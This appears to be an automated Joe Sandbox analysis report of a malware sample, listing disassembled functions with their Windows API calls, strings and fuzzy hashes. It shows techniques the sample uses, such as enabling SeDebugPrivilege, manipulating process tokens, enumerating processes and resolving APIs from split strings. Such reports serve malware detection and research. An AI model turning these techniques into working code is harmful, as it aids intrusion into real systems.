Instruction Fuzzy Hash: 1D416F75D0021B9BEB10DF64CC81A9DBBB5FF403E4F214569E468A719ADB30AB858F90

Function 004332AF Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004332B9
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,00000218,0043335B,\QyGameClient\), ref: 004332FA

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: FolderH_prolog3_PathSpecial
String ID:
API String ID: 3975422449-0
Opcode ID: a4707ded49a301bbdaadc87a93785d82e8c02737a4072097fdb3f8243d7d8bbe
Instruction ID: ad2b998a3e05594b312a147d2ecec12e596546702e38349920c483363ca23682
Opcode Fuzzy Hash: a4707ded49a301bbdaadc87a93785d82e8c02737a4072097fdb3f8243d7d8bbe
Instruction Fuzzy Hash: 1EF04970E4022C6BDB50EF559C89ADE7A7DAB54704F40019EB409A7241DF744F418FD4

Function 1000BA57 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 1000BA5F

Part of subcall function 1000BA2C: GetModuleHandleW.KERNEL32(100185B8,?,1000BA64,00000000,?,1000B4FA,000000FF,0000001E,00000001,00000000,00000000,?,10010014,00000000,00000001,00000000), ref: 1000BA36
Part of subcall function 1000BA2C: GetProcAddress.KERNEL32(00000000,100185A8), ref: 1000BA46

ExitProcess.KERNEL32 ref: 1000BA68

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction ID: 9e8f86a35322aa789f4e0151c64d6b54dfcfdd38f63c23601c9c439c46ba9861
Opcode Fuzzy Hash: abc46e778dca3db5ce812f73b672184a6f01df30641a4562d6bbc8916ecbfb88
Instruction Fuzzy Hash: 59B09B311001087BDB015F15CC4D85D3F1ADB812A07104010F40405131DF71EE52D681

Function 1000FC7C Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 1000FCBF

Part of subcall function 1000DDF3: __getptd_noexit.LIBCMT ref: 1000DDF3

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction ID: 636ff11a492ce15cdcdc60a6e11a12ef751a60b812adc93f976add26828ff1dc
Opcode Fuzzy Hash: a67366d662c5bd092a589687f11339a4dae3e25b87bc1b37a2dbb48db3d3f10c
Instruction Fuzzy Hash: 2301F13520026E9BFB14CF25CE56FBA3399EB803E4F12412DEC16CA998C730EC01E680

Function 10008B0F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000103,00000140,000000FE,?,1000965A,?,00000004,1000A0D1,?,?,00000334,1000439D,?), ref: 10008B2A

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: c4b11cf663dedc9a4aa197a2d062e931ecfd140e47d02db53880576ec9a3b569
Instruction ID: 05fb876ac0a7ffa909206c90f41a6c21d31a4450f3bef0f042e6b82b858db211
Opcode Fuzzy Hash: c4b11cf663dedc9a4aa197a2d062e931ecfd140e47d02db53880576ec9a3b569
Instruction Fuzzy Hash: 6301B1B6100A468EF321CE24C815BD63BE9FB003E0F244129E5D58B195EB34D748C714

Function 10007E17 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction ID: a59443ee6d1aeaa2d9ed199805bd91a064a26d0d23d6a45f21f6b6edd1a505ad
Opcode Fuzzy Hash: 8be2a931f1bb5c1e663c23c7387cc1016260f232cf004776458d173a503434cf
Instruction Fuzzy Hash: 11F0D1B1C1B1D29EFB6CCB04C818D5A7687FB9C2D4B1680EAE40C5B029D6148D40EA94

Function 10007E76 Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FA83E855,?,00000001,00000001,00000000,?,?,1000808D,?,00000404,00000001,00000000,?,00000000), ref: 10007E93

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e7d503647b2602c65f330093808bd1a8c877245a2ba7fd444c54634443dd94a4
Instruction ID: 60dde942ee128e8b5e26815de62b9c1eeda109e52923c3b51a2d140b3793f235
Opcode Fuzzy Hash: e7d503647b2602c65f330093808bd1a8c877245a2ba7fd444c54634443dd94a4
Instruction Fuzzy Hash: 6001AD72A00249AFE720CE19CC40A8ABBFAFB94380F148429F849C6650D330FD558B50

Function 1000961C Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 10009623

Part of subcall function 1000BD08: _malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000BD08: std::exception::exception.LIBCMT ref: 1000BD57
Part of subcall function 1000BD08: std::exception::exception.LIBCMT ref: 1000BD71
Part of subcall function 1000BD08: __CxxThrowException@8.LIBCMT ref: 1000BD82

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: std::exception::exception$Exception@8H_prolog3Throw_malloc
String ID:
API String ID: 2311266369-0
Opcode ID: 798ab431fcf6c30b07a15d25c3bea45351add4a6768e397aed1a5e0b6ce581e3
Instruction ID: 27f0851c2b2a3c9f21f6ca51572d52810aa293ac0cd731c366aa61cf9dad0c11
Opcode Fuzzy Hash: 798ab431fcf6c30b07a15d25c3bea45351add4a6768e397aed1a5e0b6ce581e3
Instruction Fuzzy Hash: 84F0BB759156219BFB11DFA0980275D79A0FF00BE0F528201FC945F2D9DF76DE409794

Function 1000CFC4 Relevance: 1.5, APIs: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

__flsbuf.LIBCMT ref: 1000CFE5

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __flsbuf
String ID:
API String ID: 2056685748-0
Opcode ID: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction ID: cd085754fea585c1a0c37b1266a5e6987fea52fd14f6493696e28795b49d8eb2
Opcode Fuzzy Hash: b2abbf9e15346c5a683e1eb0b284856c540cceb5b9561b4a404859deff5ecdc1
Instruction Fuzzy Hash: A3E09A3000034A8AEB108B20D001A367BA6DF01AA9F3086EEE585880EBC73A8447DA11

Function 1000AA9E Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1000BD22

Part of subcall function 1000B4CB: __FF_MSGBANNER.LIBCMT ref: 1000B4E4
Part of subcall function 1000B4CB: __NMSG_WRITE.LIBCMT ref: 1000B4EB
Part of subcall function 1000B4CB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B510

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction ID: a6a3255abbbc7b23de097487aa0110c8e60a8e847636431691c925b7fdd1c164
Opcode Fuzzy Hash: 2048147662bf453ba28ede84f0b6aa2d186b29f79e00af96329dcc402269dd3d
Instruction Fuzzy Hash: E5C01225104A0D727660BD6E580A92ABE8DCBC15E4E750452ED145618BFD52E812A1D1

Function 1000BCAF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 1000BCBB

Part of subcall function 1000BB6F: __lock.LIBCMT ref: 1000BB7D

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __lock_doexit
String ID:
API String ID: 368792745-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: 4fbdee38a6290eebd8f6056f661dc23ca866b053305f8b7d48e45ec78bfe802d
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: FDB0923258020C73EA201946AC03F163B0987C0AA0E240020BA0C2D1A5AAA2B9618089

Function 100078B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 100078BA

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 4155536734e8379bf1a0d9e46d5e55f6b57c4bb927480cacbb9fba63a04539cd
Instruction ID: 2cd9351d4dfc93e9d47943277064b3f92f2890c0e3242ea62fae913676b3161e
Opcode Fuzzy Hash: 4155536734e8379bf1a0d9e46d5e55f6b57c4bb927480cacbb9fba63a04539cd
Instruction Fuzzy Hash: 12B0923204C34CBBAF055E81FC0289A3BA9EB40170B20401AFA18040616E33B4205648

Non-executed Functions

Function 100018EA Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 10001772: GetCurrentProcess.KERNEL32(00000028,?), ref: 10001788
Part of subcall function 10001772: OpenProcessToken.ADVAPI32(00000000), ref: 1000178F

Part of subcall function 100017FE: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
Part of subcall function 100017FE: _memset.LIBCMT ref: 10001836
Part of subcall function 100017FE: Process32FirstW.KERNEL32(00000000,?), ref: 10001850
Part of subcall function 100017FE: CloseHandle.KERNEL32(00000000), ref: 1000188A

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 1000192D
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001947
CloseHandle.KERNEL32(?), ref: 10001954
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 1000198A
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
CloseHandle.KERNEL32(?), ref: 10001BF8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001C31
GetLengthSid.ADVAPI32(?), ref: 10001E1D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10001E30
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
CloseHandle.KERNEL32(?), ref: 10001E90
GetLengthSid.ADVAPI32(?), ref: 100020B5
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 100020C8
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10002161
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 10001EC9

Part of subcall function 100018A0: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100018D8

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
CloseHandle.KERNEL32(?), ref: 10002128
GetLengthSid.ADVAPI32(?), ref: 1000234D
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 10002360

Strings

, xrefs: 10001B74
, xrefs: 10002343
SeDebugPrivilege, xrefs: 10001915, 10001960, 100019AA, 10001BAE, 10001C07, 10001C49, 10001E46, 10001E9F, 10001EE1, 100020DE, 10002137, 10002179

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: 4d650f447e6b2555350515b06da2e3085c12b1ca455cb5b9c8c7034ce516d686
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: B67228B6E0010EBBEB40DBA4DD80DEEB7FEEF48290B514026F505E7145DB34EA468B65

Function 032A18EE Relevance: 48.3, APIs: 24, Strings: 3, Instructions: 1054COMMON

Download Yara Rule

APIs

Part of subcall function 032A1776: GetCurrentProcess.KERNEL32(00000028,?), ref: 032A178C
Part of subcall function 032A1776: OpenProcessToken.ADVAPI32(00000000), ref: 032A1793

Part of subcall function 032A1802: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 032A1825
Part of subcall function 032A1802: _memset.LIBCMT ref: 032A183A
Part of subcall function 032A1802: Process32FirstW.KERNEL32(00000000,?), ref: 032A1854
Part of subcall function 032A1802: CloseHandle.KERNEL32(00000000), ref: 032A188E

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 032A1931
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 032A194B
CloseHandle.KERNEL32(?), ref: 032A1958
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A198E
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 032A1BD1
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 032A1BEF
CloseHandle.KERNEL32(?), ref: 032A1BFC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A1C35
GetLengthSid.ADVAPI32(?), ref: 032A1E21
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 032A1E34
OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 032A1E69
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 032A1E87
CloseHandle.KERNEL32(?), ref: 032A1E94
GetLengthSid.ADVAPI32(?), ref: 032A20B9
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 032A20CC
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A2165
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A1ECD

Part of subcall function 032A18A4: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A18DC

OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 032A2101
OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 032A211F
CloseHandle.KERNEL32(?), ref: 032A212C
GetLengthSid.ADVAPI32(?), ref: 032A2351
SetTokenInformation.ADVAPI32(?,00000019,?,-00000008), ref: 032A2364

Strings

SeDebugPrivilege, xrefs: 032A1919, 032A1964, 032A19AE, 032A1BB2, 032A1C0B, 032A1C4D, 032A1E4A, 032A1EA3, 032A1EE5, 032A20E2, 032A213B, 032A217D
, xrefs: 032A1B78
, xrefs: 032A2347

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: Token$Process$Open$AdjustCloseHandlePrivileges$InformationLength$CreateCurrentFirstProcess32SnapshotToolhelp32_memset
String ID: $ $SeDebugPrivilege
API String ID: 2960649016-2587268233
Opcode ID: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction ID: 956024c72a8038f59ac9cccae57d4f9b4b100168219e5376c12c134b47510986
Opcode Fuzzy Hash: 5c8f8f7572a431ea1c747a9f7b4942abedfd1ec40edc22178e5a24254faaafa0
Instruction Fuzzy Hash: CA72FB76D1060EBFDF04DBA8DD80DEEB7BEAF48350B194026F505E6180DB74EA858B60

Function 032A2F1A Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?), ref: 032A2F72
GetProcAddress.KERNEL32(00000000), ref: 032A2F79

Strings

etVa, xrefs: 032A2F61
ADVA, xrefs: 032A2F42
lueA, xrefs: 032A2F68
PI32, xrefs: 032A2F49
.dll, xrefs: 032A2F50
RegG, xrefs: 032A2F5A

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$ADVA$PI32$RegG$etVa$lueA
API String ID: 2574300362-1882813265
Opcode ID: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction ID: efe2eb3256ed99db6f958aae26037c275d8035229aecc29f1150703cba9a686e
Opcode Fuzzy Hash: 992b54e621e4298502306d985922b6535659073c6f5a5d5f614955d1362188d0
Instruction Fuzzy Hash: 4D2135B1A1125DAFDB10CFA8C989AEEBBBCEF08344F14546AE501F7240D6709A44CBB4

Function 00444321 Relevance: 12.1, APIs: 8, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000000D,00000000,?,004444AB,?,?,00406BB4), ref: 00444344
HeapAlloc.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 0044434B

Part of subcall function 004443FA: IsProcessorFeaturePresent.KERNEL32(0000000C,00444333,00000000,?,004444AB,?,?,00406BB4), ref: 004443FC

InterlockedPopEntrySList.KERNEL32(00000000,00000000,?,004444AB,?,?,00406BB4), ref: 00444358
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,004444AB,?,?,00406BB4), ref: 0044436C
RaiseException.KERNEL32(C0000017,00000000,00000000,00000000,?,004444AB,?,?,00406BB4), ref: 00444380
InterlockedPopEntrySList.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 00444393
VirtualFree.KERNEL32(00000000,00000000,00008000,?,004444AB,?,?,00406BB4), ref: 004443A6
InterlockedPushEntrySList.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 004443BD

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: EntryInterlockedList$AllocHeapVirtual$ExceptionFeatureFreePresentProcessProcessorPushRaise
String ID:
API String ID: 1970769232-0
Opcode ID: a15db4e1beb13fa427de9f4bedd1bee7dca943d6f7c62732964c0fd861ab1e7a
Instruction ID: 7ad8728368bdcab6783469a20691ec4e9c35a5c40ce9a6eb210f55653d584bf4
Opcode Fuzzy Hash: a15db4e1beb13fa427de9f4bedd1bee7dca943d6f7c62732964c0fd861ab1e7a
Instruction Fuzzy Hash: 55119E72700B12AFE7201F649C48FAB266EEB84B85B002522FD41D7220DB29DC0086E9

Function 00417960 Relevance: 10.7, APIs: 7, Instructions: 176libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000060), ref: 00417A16
LoadLibraryExW.KERNEL32(?,00000000,00000002), ref: 00417A36
FindResourceW.KERNEL32(00000000,CC27C0CB,00000000), ref: 00417A6A
LoadResource.KERNEL32(00000000,00000000), ref: 00417A9D

Part of subcall function 00405ED0: GetLastError.KERNEL32 ref: 00405ED4
Part of subcall function 00405ED0: _HRESULT_FROM_WIN32.LIBCMTD ref: 00405EE1

FreeLibrary.KERNEL32(00000000,00000000,00417F2E), ref: 00417BE7

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID:
API String ID: 328770362-0
Opcode ID: 7fddb0bf3a8fda78ba4cb930ad44197d850916b1a68b90db1e08597308876bab
Instruction ID: 8529749ffbc1b7d3ce3c7487031d53b710173583ea04cab29f0d101e51e46032
Opcode Fuzzy Hash: 7fddb0bf3a8fda78ba4cb930ad44197d850916b1a68b90db1e08597308876bab
Instruction Fuzzy Hash: D97109B1A042189BCB24EB61CC95BDEB7B4AB48308F50459EE60967281DB786A84CF5D

Function 10001772 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 10001788
OpenProcessToken.ADVAPI32(00000000), ref: 1000178F
LookupPrivilegeValueA.ADVAPI32(00000000,1001A640,?), ref: 100017A8
CloseHandle.KERNEL32(?), ref: 100017B5
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100017E6

Strings

SeDebugPrivilege, xrefs: 100017A1

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3038321057-2896544425
Opcode ID: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction ID: c108f7e3a1cbaa3bedbfb9ced3ce46b093c37afba01755d79af1fd4902adef89
Opcode Fuzzy Hash: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction Fuzzy Hash: A8112D70A04219ABFB40CFE1CC89BEEBBB8FB08744F114019E601EA180D774EA499B60

Function 032A1776 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 032A178C
OpenProcessToken.ADVAPI32(00000000), ref: 032A1793
LookupPrivilegeValueA.ADVAPI32(00000000,1001A640,?), ref: 032A17AC
CloseHandle.KERNEL32(?), ref: 032A17B9
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A17EA

Strings

SeDebugPrivilege, xrefs: 032A17A5

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3038321057-2896544425
Opcode ID: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction ID: 4e7723d62b93cfbacbf60aa4434ceeaa46828f4028cdf73f821ecc86a2d217ea
Opcode Fuzzy Hash: 40261ef32aa84b150c395bfa061fdf74835e87a5e57ea00011e8c88a095eeea1
Instruction Fuzzy Hash: B211ED70A1021DABEF41DFA5CC89FEEBBB8BB08715F104419E601EA190D7B4E6499B60

Function 032A1802 Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 032A1825
_memset.LIBCMT ref: 032A183A
Process32FirstW.KERNEL32(00000000,?), ref: 032A1854
lstrcmpiW.KERNEL32(?,?), ref: 032A1869
Process32NextW.KERNEL32(00000000,0000022C), ref: 032A187B
CloseHandle.KERNEL32(00000000), ref: 032A188E

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: b27124310ddbd2fa992ff894dcfe01e89a12cb2b49eb90e0c64409cf2e6b9807
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
